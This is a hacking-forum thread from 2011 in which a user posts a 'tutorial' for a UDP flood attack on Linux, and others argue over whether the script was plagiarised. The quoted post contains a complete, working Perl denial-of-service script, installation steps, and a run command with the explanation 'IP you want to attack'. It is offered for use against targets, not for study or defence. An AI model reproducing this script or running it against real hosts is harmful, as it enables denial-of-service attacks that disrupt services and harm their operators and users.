Hack Forums
[TuT] UDP Flood Attack [Linux] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Computing (https://hackforums.net/forumdisplay.php?fid=88)
+---- Forum: Linux (https://hackforums.net/forumdisplay.php?fid=85)
+---- Thread: [TuT] UDP Flood Attack [Linux] (/showthread.php?tid=1461329)

Pages: Pages 1 2 3


* - Anonymous.7654 - Jul 13, 2011

(Jul 12, 2011 05:36 PM)Fuh-Kyu Wrote:  
Leached!
http://blog.ioshints.info/2008/03/udp-flood-in-perl.html

Just paste the script into a Google search field...

😠

Ofcourse Copy paste,i dont say this script ME,i say Linux Flood Tutorial.I find this script in Internet.


* - Fuh-Kyu - Jul 13, 2011

(Jul 8, 2011 10:07 AM)Anonymous.7654 Wrote:  
UDP Flood Perl Script (Linux)

Author | Anonymous.7654

Start

1.Terminal > type "sudo apt-get install perl"
2.Copy script, paste it into Text Editor, and save it with a .pl file extension (for example, udp.pl)
3.Copy file, paste it into Home Folder
4.Terminal > type "sudo chmod +x ./udp.pl"

Script Code

#!/usr/bin/perl

##
# udp flood.
##

use Socket;
use strict;

if ($#ARGV != 3) {
print "flood.pl <ip> <port> <size> <time>\n\n";
print " port=0: use random ports\n";
print " size=0: use random size between 64 and 1024\n";
print " time=0: continuous flood\n";
exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 100);

socket(flood, PF_INET, SOCK_DGRAM, 17);

print "Flooding $ip " . ($port ? $port : "random") . " port with " .
($size ? "$size-byte" : "random size") . " packets" .
($time ? " for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;

for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;

send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}


How to use script?

Terminal > type "./udp.pl 127.0.0.1 80 65500 120"

127.0.0.1 = IP you want to attack , 80 = Port , 65500 = Packet Size , 120 = Attack Time

If you want good effect,you need have good Internet Uploud Speed,Good luck

Anonymous.7654



Then you cannot actually claim credit for authoring the script, or is plagiarism defined differently where you live?


* - Anonymous.7654 - Jul 14, 2011

(Jul 13, 2011 03:21 PM)Fuh-Kyu Wrote:  

Then you cannot actually claim credit for authoring the script, or is plagiarism defined differently where you live?

Author me because im write Tutorial,but Script not ME.

Credits - http://www.linuxscrew.com/2008/04/10/tiny-perl-script-for-udp-flooding/